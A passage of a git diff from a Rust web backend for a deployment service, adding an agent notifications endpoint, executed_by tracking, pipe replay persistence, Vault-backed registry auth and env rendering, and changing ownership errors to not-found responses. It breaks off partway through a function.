+        // If an operator misconfigures auth_url to already point at /auth/login,
+        // we must not produce a doubled path like /auth/login/auth/login.
+        let auth_url = "https://dev.try.direct/server/user/auth/login";
+        let base = normalize_user_service_base_url(auth_url);
+        let login_url = format!("{}/auth/login", base);
+        assert_eq!(login_url, "https://dev.try.direct/server/user/auth/login");
+    }
+
+    #[test]
+    fn login_url_handles_trailing_slash_in_auth_url() {
+        let auth_url = "https://dev.try.direct/server/user/oauth_server/api/me/";
+        let base = normalize_user_service_base_url(auth_url);
+        let login_url = format!("{}/auth/login", base);
+        assert_eq!(login_url, "https://dev.try.direct/server/user/auth/login");
+    }
+}
diff --git a/src/routes/agent/mod.rs b/src/routes/agent/mod.rs
index 290390ab..4ebd19bb 100644
--- a/src/routes/agent/mod.rs
+++ b/src/routes/agent/mod.rs
@@ -2,6 +2,7 @@ mod audit;
 mod enqueue;
 mod link;
 mod login;
+mod notifications;
 mod register;
 mod report;
 mod snapshot;
@@ -11,6 +12,7 @@ pub use audit::*;
 pub use enqueue::*;
 pub use link::*;
 pub use login::*;
+pub use notifications::*;
 pub use register::*;
 pub use report::*;
 pub use snapshot::*;
diff --git a/src/routes/agent/notifications.rs b/src/routes/agent/notifications.rs
new file mode 100644
index 00000000..7d16aa58
--- /dev/null
+++ b/src/routes/agent/notifications.rs
@@ -0,0 +1,50 @@
+use crate::{helpers, models};
+use actix_web::{get, web, Responder, Result};
+use serde::{Deserialize, Serialize};
+use std::sync::Arc;
+
+#[derive(Debug, Deserialize)]
+pub struct NotificationsQuery {
+    pub deployment_hash: String,
+}
+
+#[derive(Debug, Serialize, Default)]
+pub struct NotificationsResponse {
+    pub notifications: Vec<serde_json::Value>,
+}
+
+#[tracing::instrument(name = "Agent list notifications", skip_all)]
+#[get("/notifications")]
+pub async fn notifications_handler(
+    agent: web::ReqData<Arc<models::Agent>>,
+    query: web::Query<NotificationsQuery>,
+) -> Result<impl Responder> {
+    if agent.deployment_hash != query.deployment_hash {
+        return Err(helpers::JsonResponse::forbidden(
+            "Not authorized for this deployment",
+        ));
+    }
+
+    Ok(helpers::JsonResponse::build()
+        .set_item(NotificationsResponse::default())
+        .ok("Notifications fetched"))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn notifications_query_carries_deployment_hash() {
+        let query = NotificationsQuery {
+            deployment_hash: "deployment_123".to_string(),
+        };
+        assert_eq!(query.deployment_hash, "deployment_123");
+    }
+
+    #[test]
+    fn notifications_response_defaults_to_empty_list() {
+        let response = NotificationsResponse::default();
+        assert!(response.notifications.is_empty());
+    }
+}
diff --git a/src/routes/agent/report.rs b/src/routes/agent/report.rs
index 01708334..ee6ac85b 100644
--- a/src/routes/agent/report.rs
+++ b/src/routes/agent/report.rs
@@ -1,4 +1,7 @@
-use crate::{db, forms::status_panel, helpers, helpers::AgentPgPool, helpers::MqManager, models, models::pipe::PipeExecution};
+use crate::{
+    db, forms::status_panel, helpers, helpers::AgentPgPool, helpers::MqManager, models,
+    models::pipe::PipeExecution,
+};
 use actix_web::{post, web, HttpRequest, Responder, Result};
 use serde::{Deserialize, Serialize};
 use serde_json::json;
@@ -11,6 +14,8 @@ pub struct CommandCompletedEvent {
     pub deployment_hash: String,
     pub command_type: String,
     pub status: String,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub executed_by: Option<String>,
     pub has_result: bool,
     pub has_error: bool,
     pub agent_id: uuid::Uuid,
@@ -31,6 +36,8 @@ pub struct CommandReportRequest {
     #[allow(dead_code)]
     pub started_at: Option<chrono::DateTime<chrono::Utc>>,
     pub completed_at: chrono::DateTime<chrono::Utc>,
+    #[serde(default)]
+    pub executed_by: Option<String>,
 }
 
 #[derive(Debug, Serialize, Default)]
@@ -140,13 +147,19 @@ pub async fn report_handler(
         result_payload = Some(json!({ "status": payload.status.clone() }));
     }
 
+    let metadata_patch = payload
+        .executed_by
+        .as_ref()
+        .map(|executed_by| json!({ "executed_by": executed_by }));
+
     // Update command in database with result
-    match db::command::update_result(
+    match db::command::update_result_with_metadata(
         agent_pool.as_ref(),
         &payload.command_id,
         &status,
         result_payload.clone(),
         error_payload.clone(),
+        metadata_patch.clone(),
     )
     .await
     {
@@ -222,31 +235,103 @@ pub async fn report_handler(
             }
 
             // Persist trigger_pipe results as pipe execution history
-            if command.r#type == "trigger_pipe" && status == models::CommandStatus::Completed {
+            if command.r#type == "trigger_pipe" {
                 if let Some(ref result) = result_payload {
-                    if let Ok(report) = serde_json::from_value::<status_panel::TriggerPipeCommandReport>(result.clone()) {
+                    if let Ok(report) = serde_json::from_value::<
+                        status_panel::TriggerPipeCommandReport,
+                    >(result.clone())
+                    {
                         if let Ok(instance_id) = uuid::Uuid::parse_str(&report.pipe_instance_id) {
-                            let execution = PipeExecution::new(
-                                instance_id,
-                                payload.deployment_hash.clone(),
-                                report.trigger_type.clone(),
-                                agent.id.to_string(),
-                            );
-                            let execution = if report.success {
-                                execution.complete_success(
-                                    report.source_data.unwrap_or(json!(null)),
-                                    report.mapped_data.unwrap_or(json!(null)),
-                                    report.target_response.unwrap_or(json!(null)),
+                            let created_by = payload
+                                .executed_by
+                                .clone()
+                                .unwrap_or_else(|| agent.id.to_string());
+
+                            let normalized_status =
+                                if report.success { "success" } else { "failed" };
+                            let source_data = report.source_data.as_ref();
+                            let mapped_data = report.mapped_data.as_ref();
+                            let target_response = report.target_response.as_ref();
+                            let error = report.error.as_deref().or(Some("Unknown error"));
+
+                            let persisted = if report.trigger_type == "replay" {
+                                match db::pipe::find_pending_replay_execution(
+                                    agent_pool.as_ref(),
+                                    &instance_id,
+                                    &payload.deployment_hash,
                                 )
+                                .await
+                                {
+                                    Ok(Some(existing)) => {
+                                        db::pipe::update_execution_result(
+                                            agent_pool.as_ref(),
+                                            &existing.id,
+                                            normalized_status,
+                                            source_data,
+                                            mapped_data,
+                                            target_response,
+                                            if report.success { None } else { error },
+                                            None,
+                                        )
+                                        .await
+                                    }
+                                    Ok(None) => {
+                                        let execution = PipeExecution::new(
+                                            instance_id,
+                                            Some(payload.deployment_hash.clone()),
+                                            report.trigger_type.clone(),
+                                            created_by.clone(),
+                                        );
+                                        let execution = if report.success {
+                                            execution.complete_success(
+                                                report.source_data.clone().unwrap_or(json!(null)),
+                                                report.mapped_data.clone().unwrap_or(json!(null)),
+                                                report
+                                                    .target_response
+                                                    .clone()
+                                                    .unwrap_or(json!(null)),
+                                            )
+                                        } else {
+                                            execution.complete_failure(
+                                                report
+                                                    .error
+                                                    .clone()
+                                                    .unwrap_or_else(|| "Unknown error".to_string()),
+                                            )
+                                        };
+                                        db::pipe::insert_execution(agent_pool.as_ref(), &execution)
+                                            .await
+                                    }
+                                    Err(e) => Err(e),
+                                }
                             } else {
-                                execution.complete_failure(
-                                    report.error.unwrap_or_else(|| "Unknown error".to_string()),
-                                )
+                                let execution = PipeExecution::new(
+                                    instance_id,
+                                    Some(payload.deployment_hash.clone()),
+                                    report.trigger_type.clone(),
+                                    created_by,
+                                );
+                                let execution = if report.success {
+                                    execution.complete_success(
+                                        report.source_data.clone().unwrap_or(json!(null)),
+                                        report.mapped_data.clone().unwrap_or(json!(null)),
+                                        report.target_response.clone().unwrap_or(json!(null)),
+                                    )
+                                } else {
+                                    execution.complete_failure(
+                                        report
+                                            .error
+                                            .clone()
+                                            .unwrap_or_else(|| "Unknown error".to_string()),
+                                    )
+                                };
+                                db::pipe::insert_execution(agent_pool.as_ref(), &execution).await
                             };
 
-                            if let Err(e) = db::pipe::insert_execution(agent_pool.as_ref(), &execution).await {
+                            if let Err(e) = persisted {
                                 tracing::warn!(
                                     pipe_instance_id = %report.pipe_instance_id,
+                                    trigger_type = %report.trigger_type,
                                     "Failed to persist pipe execution: {}",
                                     e
                                 );
@@ -276,6 +361,7 @@ pub async fn report_handler(
                 "has_result": result_payload.is_some(),
                 "has_error": error_payload.is_some(),
                 "reported_status": payload.status,
+                "executed_by": payload.executed_by,
             }));
 
             let _ = db::agent::log_audit(agent_pool.as_ref(), audit_log).await;
@@ -286,6 +372,7 @@ pub async fn report_handler(
                 deployment_hash: payload.deployment_hash.clone(),
                 command_type: command.r#type.clone(),
                 status: status.to_string(),
+                executed_by: payload.executed_by.clone(),
                 has_result: result_payload.is_some(),
                 has_error: error_payload.is_some(),
                 agent_id: agent.id,
diff --git a/src/routes/agent/snapshot.rs b/src/routes/agent/snapshot.rs
index e3d4c7b3..e991ed19 100644
--- a/src/routes/agent/snapshot.rs
+++ b/src/routes/agent/snapshot.rs
@@ -2,6 +2,7 @@ use crate::db;
 use crate::forms::status_panel::HealthCommandReport;
 use crate::helpers::{AgentPgPool, JsonResponse};
 use crate::models::{Command, ProjectApp};
+use crate::project_app::is_platform_managed_app_code;
 use actix_web::{get, web, Responder, Result};
 use serde::{Deserialize, Serialize};
 use uuid::Uuid;
@@ -46,6 +47,12 @@ fn default_command_limit() -> i64 {
     50
 }
 
+fn visible_project_apps(apps: Vec<ProjectApp>) -> Vec<ProjectApp> {
+    apps.into_iter()
+        .filter(|app| !is_platform_managed_app_code(&app.code))
+        .collect()
+}
+
 #[tracing::instrument(name = "Get deployment snapshot", skip_all)]
 #[get("/deployments/{deployment_hash}")]
 pub async fn snapshot_handler(
@@ -89,12 +96,17 @@ pub async fn snapshot_handler(
     tracing::debug!("[SNAPSHOT HANDLER] Deployment : {:?}", deployment);
     // Fetch apps scoped to this specific deployment (falls back to project-level if no deployment-scoped apps)
     let apps = if let Some(deployment) = &deployment {
-        db::project_app::fetch_by_deployment(agent_pool.get_ref(), deployment.project_id, deployment.id)
-            .await
-            .unwrap_or_default()
+        db::project_app::fetch_by_deployment(
+            agent_pool.get_ref(),
+            deployment.project_id,
+            deployment.id,
+        )
+        .await
+        .unwrap_or_default()
     } else {
         vec![]
     };
+    let apps = visible_project_apps(apps);
 
     tracing::debug!("[SNAPSHOT HANDLER] Apps : {:?}", apps);
 
@@ -237,14 +249,10 @@ pub async fn project_snapshot_handler(
 
     let (agent_snap, deployment_hash) = agent_snapshot;
 
-    let commands = db::command::fetch_recent_by_deployment(
-        agent_pool.get_ref(),
-        &deployment_hash,
-        50,
-        true,
-    )
-    .await
-    .unwrap_or_default();
+    let commands =
+        db::command::fetch_recent_by_deployment(agent_pool.get_ref(), &deployment_hash, 50, true)
+            .await
+            .unwrap_or_default();
 
     let deployment =
         db::deployment::fetch_by_deployment_hash(agent_pool.get_ref(), &deployment_hash)
@@ -259,15 +267,12 @@ pub async fn project_snapshot_handler(
     } else {
         vec![]
     };
+    let apps = visible_project_apps(apps);
 
-    let health_commands = db::command::fetch_recent_by_deployment(
-        agent_pool.get_ref(),
-        &deployment_hash,
-        10,
-        false,
-    )
-    .await
-    .unwrap_or_default();
+    let health_commands =
+        db::command::fetch_recent_by_deployment(agent_pool.get_ref(), &deployment_hash, 10, false)
+            .await
+            .unwrap_or_default();
 
     let mut container_map: std::collections::HashMap<String, ContainerSnapshot> =
         std::collections::HashMap::new();
@@ -310,3 +315,27 @@ pub async fn project_snapshot_handler(
         .set_item(resp)
         .ok("Snapshot fetched successfully"))
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn app(code: &str) -> ProjectApp {
+        ProjectApp {
+            code: code.to_string(),
+            ..ProjectApp::default()
+        }
+    }
+
+    #[test]
+    fn visible_project_apps_excludes_platform_managed_apps() {
+        let apps = visible_project_apps(vec![
+            app("coolify"),
+            app("nginx_proxy_manager"),
+            app("statuspanel"),
+        ]);
+
+        let codes = apps.iter().map(|app| app.code.as_str()).collect::<Vec<_>>();
+        assert_eq!(codes, vec!["coolify"]);
+    }
+}
diff --git a/src/routes/chat/get.rs b/src/routes/chat/get.rs
index fed31ef6..25706359 100644
--- a/src/routes/chat/get.rs
+++ b/src/routes/chat/get.rs
@@ -26,6 +26,6 @@ pub async fn item(
         .map_err(|err| JsonResponse::internal_server_error(err.to_string()))
         .and_then(|conv| match conv {
             Some(c) => Ok(JsonResponse::build().set_item(Some(c)).ok("OK")),
-            None => Err(JsonResponse::not_found("No chat history found")),
+            None => Ok(JsonResponse::build().ok("OK")),
         })
 }
diff --git a/src/routes/client/disable.rs b/src/routes/client/disable.rs
index 41b30001..1f79644f 100644
--- a/src/routes/client/disable.rs
+++ b/src/routes/client/disable.rs
@@ -20,7 +20,7 @@ pub async fn disable_handler(
         .map_err(|msg| JsonResponse::<models::Client>::build().internal_server_error(msg))
         .and_then(|client| match client {
             Some(client) if client.user_id != user.id => {
-                Err(JsonResponse::<models::Client>::build().bad_request("client is not the owner"))
+                Err(JsonResponse::<models::Client>::build().not_found("not found"))
             }
             Some(client) => Ok(client),
             None => Err(JsonResponse::<models::Client>::build().not_found("not found")),
diff --git a/src/routes/client/enable.rs b/src/routes/client/enable.rs
index 3f090f6a..ceaa25b1 100644
--- a/src/routes/client/enable.rs
+++ b/src/routes/client/enable.rs
@@ -22,7 +22,7 @@ pub async fn enable_handler(
         .ok_or_else(|| JsonResponse::<models::Client>::build().not_found("not found"))?;
 
     if client.user_id != user.id {
-        return Err(JsonResponse::<models::Client>::build().bad_request("client is not the owner"));
+        return Err(JsonResponse::<models::Client>::build().not_found("not found"));
     }
 
     enable_client(pg_pool.get_ref(), client).await
diff --git a/src/routes/client/update.rs b/src/routes/client/update.rs
index 49f5c995..1f023c92 100644
--- a/src/routes/client/update.rs
+++ b/src/routes/client/update.rs
@@ -21,7 +21,7 @@ pub async fn update_handler(
         .ok_or_else(|| JsonResponse::<models::Client>::build().not_found("not found"))?;
 
     if client.user_id != user.id {
-        return Err(JsonResponse::<models::Client>::build().bad_request("client is not the owner"));
+        return Err(JsonResponse::<models::Client>::build().not_found("not found"));
     }
 
     update_client(pg_pool.get_ref(), client).await
diff --git a/src/routes/cloud/add.rs b/src/routes/cloud/add.rs
index 97ca6203..92905947 100644
--- a/src/routes/cloud/add.rs
+++ b/src/routes/cloud/add.rs
@@ -37,9 +37,8 @@ pub async fn add(
                  Check that SECURITY_KEY is set and is exactly 32 bytes.",
                 cloud.provider
             );
-            return Err(JsonResponse::<models::Cloud>::build().bad_request(
-                "Failed to encrypt cloud credentials. Please contact support.",
-            ));
+            return Err(JsonResponse::<models::Cloud>::build()
+                .bad_request("Failed to encrypt cloud credentials. Please contact support."));
         }
     }
 
diff --git a/src/routes/cloud/delete.rs b/src/routes/cloud/delete.rs
index 96592150..2dbf25fe 100644
--- a/src/routes/cloud/delete.rs
+++ b/src/routes/cloud/delete.rs
@@ -21,7 +21,7 @@ pub async fn item(
         .map_err(|err| JsonResponse::<models::Cloud>::build().internal_server_error(err))
         .and_then(|cloud| match cloud {
             Some(cloud) if cloud.user_id != user.id => {
-                Err(JsonResponse::<models::Cloud>::build().bad_request("Delete is forbidden"))
+                Err(JsonResponse::<models::Cloud>::build().not_found("not found"))
             }
             Some(cloud) => Ok(cloud),
             None => Err(JsonResponse::<models::Cloud>::build().not_found("not found")),
diff --git a/src/routes/cloud/update.rs b/src/routes/cloud/update.rs
index 60b698ab..189ede57 100644
--- a/src/routes/cloud/update.rs
+++ b/src/routes/cloud/update.rs
@@ -22,7 +22,7 @@ pub async fn item(
         .map_err(|err| JsonResponse::<models::Cloud>::build().internal_server_error(err))
         .and_then(|cloud| match cloud {
             Some(cloud) if cloud.user_id != user.id => {
-                Err(JsonResponse::<models::Project>::build().bad_request("Cloud not found"))
+                Err(JsonResponse::<models::Project>::build().not_found("Cloud not found"))
             }
             Some(cloud) => Ok(cloud),
             None => Err(JsonResponse::<models::Cloud>::build().not_found("Cloud not found")),
@@ -46,9 +46,8 @@ pub async fn item(
                  Check that SECURITY_KEY is set and is exactly 32 bytes.",
                 cloud.provider
             );
-            return Err(JsonResponse::<models::Cloud>::build().bad_request(
-                "Failed to encrypt cloud credentials. Please contact support.",
-            ));
+            return Err(JsonResponse::<models::Cloud>::build()
+                .bad_request("Failed to encrypt cloud credentials. Please contact support."));
         }
     }
 
diff --git a/src/routes/command/create.rs b/src/routes/command/create.rs
index c5b0affa..339ed975 100644
--- a/src/routes/command/create.rs
+++ b/src/routes/command/create.rs
@@ -4,12 +4,18 @@ use crate::forms::status_panel;
 use crate::helpers::project::builder::parse_compose_services;
 use crate::helpers::JsonResponse;
 use crate::models::{Command, CommandPriority, User};
-use crate::project_app::{store_configs_to_vault_from_params, upsert_app_config_for_deploy};
-use crate::services::VaultService;
+use crate::project_app::{
+    is_platform_managed_app_code, normalize_app_code, parse_registry_auth_config,
+    store_configs_to_vault_from_params, store_registry_auth_command_to_vault,
+    upsert_app_config_for_deploy, REGISTRY_AUTH_VAULT_KEY,
+};
+use crate::services::env_model::reconcile_env_file_content;
+use crate::services::{AppConfig, ConfigRenderer, ProjectAppService, VaultService};
 use actix_web::{post, web, Responder, Result};
 use serde::{Deserialize, Serialize};
 use serde_json::json;
 use sqlx::PgPool;
+use std::collections::HashSet;
 use std::sync::Arc;
 
 #[derive(Debug, Deserialize)]
@@ -65,6 +71,15 @@ pub async fn create_handler(
 
     // For deploy_app commands, upsert app config and sync to Vault before enriching parameters
     let final_parameters = if req.command_type == "deploy_app" {
+        if let Some(registry_auth) = extract_registry_auth_from_params(&validated_parameters) {
+            store_registry_auth_command_to_vault(
+                &req.deployment_hash,
+                &registry_auth,
+                &settings.vault,
+            )
+            .await;
+        }
+
         // Try to get deployment_id from parameters, or look it up by deployment_hash
         // If no deployment exists, auto-create project and deployment records
         let deployment_id = match req
@@ -172,16 +187,12 @@ pub async fn create_handler(
             .and_then(|v| v.as_str());
         let app_params = req.parameters.as_ref().and_then(|p| p.get("parameters"));
 
-        // CRITICAL: Log incoming parameters for debugging env/config save issues
         tracing::info!(
-            "[DEPLOY_APP] deployment_id: {:?}, app_code: {:?}, has_app_params: {}, raw_params: {}",
+            "[DEPLOY_APP] deployment_id: {:?}, app_code: {:?}, has_app_params: {}, has_parameters: {}",
             deployment_id,
             app_code,
             app_params.is_some(),
-            req.parameters
-                .as_ref()
-                .map(|p| p.to_string())
-                .unwrap_or_else(|| "None".to_string())
+            req.parameters.is_some()
         );
 
         if let Some(params) = app_params.or(req.parameters.as_ref()) {
@@ -189,7 +200,8 @@ pub async fn create_handler(
                 "[DEPLOY_APP] Parameters contain - env: {}, config_files: {}, image: {}",
                 params
                     .get("env")
-                    .map(|v| v.to_string())
+                    .and_then(|v| v.as_object())
+                    .map(|env| format!("{} keys", env.len()))
                     .unwrap_or_else(|| "None".to_string()),
                 params
                     .get("config_files")
@@ -250,8 +262,18 @@ pub async fn create_handler(
             &req.deployment_hash,
             validated_parameters,
             &settings.vault,
+            pg_pool.get_ref(),
+            deployment_id,
         )
-        .await;
+        .await
+        .map_err(|error| {
+            tracing::error!(
+                deployment_hash = %req.deployment_hash,
+                error = %error,
+                "Failed to enrich deploy_app command"
+            );
+            JsonResponse::<()>::build().internal_server_error(error)
+        })?;
 
         // Auto-discover child services from multi-service compose files
         if let (Some(project_id), Some(app_code)) = (deployment_id, app_code) {
@@ -351,14 +373,23 @@ pub async fn create_handler(
         .created("Command created successfully"))
 }
 
+fn extract_registry_auth_from_params(
+    params: &Option<serde_json::Value>,
+) -> Option<status_panel::RegistryAuthCommandRequest> {
+    let value = params.as_ref()?.get("registry_auth")?.clone();
+    serde_json::from_value(value).ok()
+}
+
 /// Enrich deploy_app command parameters with compose_content and config_files from Vault
 /// Falls back to fetching templates from Install Service if not in Vault
 /// If compose_content is already provided in the request, keep it as-is
-async fn enrich_deploy_app_with_compose(
+pub(crate) async fn enrich_deploy_app_with_compose(
     deployment_hash: &str,
     params: Option<serde_json::Value>,
     vault_settings: &crate::configuration::VaultSettings,
-) -> Option<serde_json::Value> {
+    pg_pool: &PgPool,
+    project_id: Option<i32>,
+) -> Result<Option<serde_json::Value>, String> {
     let mut params = params.unwrap_or_else(|| json!({}));
 
     // Get app_code from parameters - compose is stored under app_code key in Vault
@@ -377,10 +408,49 @@ async fn enrich_deploy_app_with_compose(
                 "Failed to initialize Vault: {}, cannot enrich deploy_app",
                 e
             );
-            return Some(params);
+            return Ok(Some(params));
         }
     };
 
+    if params.get("registry_auth").is_none() {
+        match vault
+            .fetch_app_config(deployment_hash, REGISTRY_AUTH_VAULT_KEY)
+            .await
+        {
+            Ok(registry_config) => match parse_registry_auth_config(&registry_config) {
+                Ok(registry_auth) => {
+                    tracing::info!(
+                        deployment_hash = %deployment_hash,
+                        "Enriched deploy_app command with stored registry auth"
+                    );
+                    if let Some(obj) = params.as_object_mut() {
+                        obj.insert("registry_auth".to_string(), json!(registry_auth));
+                    }
+                }
+                Err(error) => {
+                    tracing::warn!(
+                        deployment_hash = %deployment_hash,
+                        error = %error,
+                        "Failed to parse stored registry auth from Vault"
+                    );
+                }
+            },
+            Err(crate::services::vault_service::VaultError::NotFound(_)) => {
+                tracing::debug!(
+                    deployment_hash = %deployment_hash,
+                    "No stored registry auth found for deploy_app enrichment"
+                );
+            }
+            Err(error) => {
+                tracing::warn!(
+                    deployment_hash = %deployment_hash,
+                    error = %error,
+                    "Failed to fetch registry auth from Vault during deploy_app enrichment"
+                );
+            }
+        }
+    }
+
     // If compose_content is not already provided, fetch from Vault
     if params
         .get("compose_content")
@@ -393,25 +463,48 @@ async fn enrich_deploy_app_with_compose(
             "Looking up compose content in Vault"
         );
 
-        // Fetch compose config - stored under app_code key (e.g., "telegraf")
-        match vault.fetch_app_config(deployment_hash, &app_code).await {
-            Ok(compose_config) => {
-                tracing::info!(
-                    deployment_hash = %deployment_hash,
-                    app_code = %app_code,
-                    "Enriched deploy_app command with compose_content from Vault"
-                );
-                if let Some(obj) = params.as_object_mut() {
-                    obj.insert("compose_content".to_string(), json!(compose_config.content));
-                }
+        if let Some(rendered_compose) =
+            render_project_compose_for_deploy_app(pg_pool, project_id, deployment_hash, &app_code)
+                .await
+        {
+            tracing::info!(
+                deployment_hash = %deployment_hash,
+                app_code = %app_code,
+                "Enriched deploy_app command with freshly rendered project compose"
+            );
+            if let Some(obj) = params.as_object_mut() {
+                obj.insert("compose_content".to_string(), json!(rendered_compose));
             }
-            Err(e) => {
-                tracing::warn!(
-                    deployment_hash = %deployment_hash,
-                    app_code = %app_code,
-                    error = %e,
-                    "Failed to fetch compose from Vault, deploy_app may fail if compose not on disk"
-                );
+        } else if let Ok(compose_config) = vault.fetch_app_config(deployment_hash, &app_code).await
+        {
+            tracing::info!(
+                deployment_hash = %deployment_hash,
+                app_code = %app_code,
+                "Enriched deploy_app command with app compose_content from Vault"
+            );
+            if let Some(obj) = params.as_object_mut() {
+                obj.insert("compose_content".to_string(), json!(compose_config.content));
+            }
+        } else {
+            // Fallback to the deployment-level compose generated during full sync.
+            match vault.fetch_app_config(deployment_hash, "_compose").await {
+                Ok(compose_config) => {
+                    tracing::info!(
+                        deployment_hash = %deployment_hash,
+                        "Enriched deploy_app command with deployment compose_content from Vault"
+                    );
+                    if let Some(obj) = params.as_object_mut() {
+                        obj.insert("compose_content".to_string(), json!(compose_config.content));
+                    }
+                }
+                Err(e) => {
+                    tracing::warn!(
+                        deployment_hash = %deployment_hash,
+                        app_code = %app_code,
+                        error = %e,
+                        "Failed to fetch compose from Vault, deploy_app may fail if compose not on disk"
+                    );
+                }
             }
         }
     } else {
@@ -497,38 +590,96 @@ async fn enrich_deploy_app_with_compose(
 
     // Also fetch .env file from Vault (stored under "{app_code}_env" key)
     let env_key = format!("{}_env", app_code);
+    let force_config_overwrite = params
+        .get("force_config_overwrite")
+        .or_else(|| params.get("force_recreate"))
+        .and_then(|value| value.as_bool())
+        .unwrap_or(false);
     tracing::debug!(
         deployment_hash = %deployment_hash,
         env_key = %env_key,
         "Looking up .env file in Vault"
     );
 
-    match vault.fetch_app_config(deployment_hash, &env_key).await {
-        Ok(env_config) => {
+    if let Some((env_config, _config_hash)) = render_project_env_for_deploy_app(
+        pg_pool,
+        project_id,
+        deployment_hash,
+        &app_code,
+        vault_settings,
+    )
+    .await?
+    {
+        tracing::info!(
+            deployment_hash = %deployment_hash,
+            app_code = %app_code,
+            destination = %env_config.destination_path,
+            "Enriched deploy_app command with freshly rendered runtime env"
+        );
+        let merged_into_bundle = merge_rendered_env_into_app_env_files(
+            &mut config_files,
+            params
+                .get("compose_content")
+                .and_then(|value| value.as_str()),
+            &app_code,
+            &env_config.content,
+        );
+        if merged_into_bundle > 0 {
             tracing::info!(
                 deployment_hash = %deployment_hash,
                 app_code = %app_code,
-                destination = %env_config.destination_path,
-                "Found .env file in Vault"
+                merged_file_count = merged_into_bundle,
+                "Merged rendered runtime env into deploy_app config bundle env files"
             );
-            // Convert AppConfig to the format expected by status panel
-            let env_file = json!({
-                "content": env_config.content,
-                "content_type": env_config.content_type,
-                "destination_path": env_config.destination_path,
-                "file_mode": env_config.file_mode,
-                "owner": env_config.owner,
-                "group": env_config.group,
-            });
-            config_files.push(env_file);
         }
-        Err(e) => {
-            tracing::debug!(
-                deployment_hash = %deployment_hash,
-                env_key = %env_key,
-                error = %e,
-                "No .env file found in Vault (this is normal for apps without environment config)"
-            );
+
+        let env_file = json!({
+            "content": env_config.content,
+            "content_type": env_config.content_type,
+            "destination_path": env_config.destination_path,
+            "file_mode": env_config.file_mode,
+            "owner": env_config.owner,
+            "group": env_config.group,
+            "force_overwrite": force_config_overwrite,
+            "drift_check": {
+                "enabled": true,
+                "hash_source": "stacker-render-header"
+            },
+        });
+        config_files.push(env_file);
+    } else {
+        match vault.fetch_app_config(deployment_hash, &env_key).await {
+            Ok(env_config) => {
+                tracing::info!(
+                    deployment_hash = %deployment_hash,
+                    app_code = %app_code,
+                    destination = %env_config.destination_path,
+                    "Found .env file in Vault"
+                );
+                // Convert AppConfig to the format expected by status panel
+                let env_file = json!({
+                    "content": env_config.content,
+                    "content_type": env_config.content_type,
+                    "destination_path": env_config.destination_path,
+                    "file_mode": env_config.file_mode,
+                    "owner": env_config.owner,
+                    "group": env_config.group,
+                    "force_overwrite": force_config_overwrite,
+                    "drift_check": {
+                        "enabled": true,
+                        "hash_source": "stacker-render-header"
+                    },
+                });
+                config_files.push(env_file);
+            }
+            Err(e) => {
+                tracing::debug!(
+                    deployment_hash = %deployment_hash,
+                    env_key = %env_key,
+                    error = %e,
+                    "No .env file found in Vault (this is normal for apps without environment config)"
+                );
+            }
         }
     }
 
@@ -545,7 +696,301 @@ async fn enrich_deploy_app_with_compose(
         }
     }
 
-    Some(params)
+    Ok(Some(params))
+}
+
+fn merge_rendered_env_into_app_env_files(
+    config_files: &mut [serde_json::Value],
+    compose_content: Option<&str>,
+    app_code: &str,
+    rendered_env_content: &str,
+) -> usize {
+    let compose_env_paths = compose_content
+        .map(|content| compose_env_file_destinations_for_app(content, app_code))
+        .unwrap_or_default();
+    let mut merged = 0;
+
+    for config_file in config_files {
+        let Some(destination_path) = config_file
+            .get("destination_path")
+            .and_then(|value| value.as_str())
+            .map(ToOwned::to_owned)
+        else {
+            continue;
+        };
+
+        if !is_app_env_config_file(&destination_path, app_code, &compose_env_paths) {
+            continue;
+        }
+
+        let existing_content = config_file
+            .get("content")
+            .and_then(|value| value.as_str())
+            .unwrap_or_default();
+        let merged_content = reconcile_env_file_content(existing_content, rendered_env_content);
+
+        if let Some(obj) = config_file.as_object_mut() {
+            obj.insert("content".to_string(), json!(merged_content));
+            obj.insert("content_type".to_string(), json!("text/plain"));
+            obj.entry("file_mode".to_string()).or_insert(json!("0600"));
+            obj.entry("owner".to_string()).or_insert(json!("trydirect"));
+            obj.entry("group".to_string()).or_insert(json!("docker"));
+        }
+        merged += 1;
+    }
+
+    merged
+}
+
+fn is_app_env_config_file(
+    destination_path: &str,
+    app_code: &str,
+    compose_env_paths: &HashSet<String>,
+) -> bool {
+    if !destination_path.ends_with(".env") {
+        return false;
+    }
+
+    if compose_env_paths.contains(destination_path) {
+        return true;
+    }
+
+    destination_path.contains(&format!("/{app_code}/docker/"))
+}
+
+fn compose_env_file_destinations_for_app(compose_content: &str, app_code: &str) -> HashSet<String> {
+    let Ok(doc) = serde_yaml::from_str::<serde_yaml::Value>(compose_content) else {
+        return HashSet::new();
+    };
+    let Some(env_file_value) = doc
+        .as_mapping()
+        .and_then(|root| root.get(serde_yaml::Value::String("services".to_string())))
+        .and_then(serde_yaml::Value::as_mapping)
+        .and_then(|services| services.get(serde_yaml::Value::String(app_code.to_string())))
+        .and_then(serde_yaml::Value::as_mapping)
+        .and_then(|service| service.get(serde_yaml::Value::String("env_file".to_string())))
+    else {
+        return HashSet::new();
+    };
+
+    let mut paths = HashSet::new();
+    collect_env_file_destinations(env_file_value, &mut paths);
+    paths
+}
+
+fn collect_env_file_destinations(value: &serde_yaml::Value, paths: &mut HashSet<String>) {
+    match value {
+        serde_yaml::Value::String(path) => {
+            paths.insert(path.clone());
+        }
+        serde_yaml::Value::Sequence(values) => {
+            for value in values {
+                collect_env_file_destinations(value, paths);
+            }
+        }
+        serde_yaml::Value::Mapping(map) => {
+            if let Some(path) = map
+                .get(serde_yaml::Value::String("path".to_string()))
+                .and_then(serde_yaml::Value::as_str)
+            {
+                paths.insert(path.to_string());
+            }
+        }
+        _ => {}
+    }
+}
+
+async fn render_project_env_for_deploy_app(
+    pg_pool: &PgPool,
+    project_id: Option<i32>,
+    deployment_hash: &str,
+    app_code: &str,
+    vault_settings: &crate::configuration::VaultSettings,
+) -> Result<Option<(AppConfig, String)>, String> {
+    let Some(project_id) = project_id else {
+        return Ok(None);
+    };
+    let project = match db::project::fetch(pg_pool, project_id).await {
+        Ok(Some(project)) => project,
+        Ok(None) => {
+            tracing::warn!(
+                project_id,
+                app_code,
+                "Cannot render deploy_app env because project was not found"
+            );
+            return Ok(None);
+        }
+        Err(error) => {
+            tracing::warn!(
+                project_id,
+                app_code,
+                error = %error,
+                "Cannot render deploy_app env because project fetch failed"
+            );
+            return Err(format!(
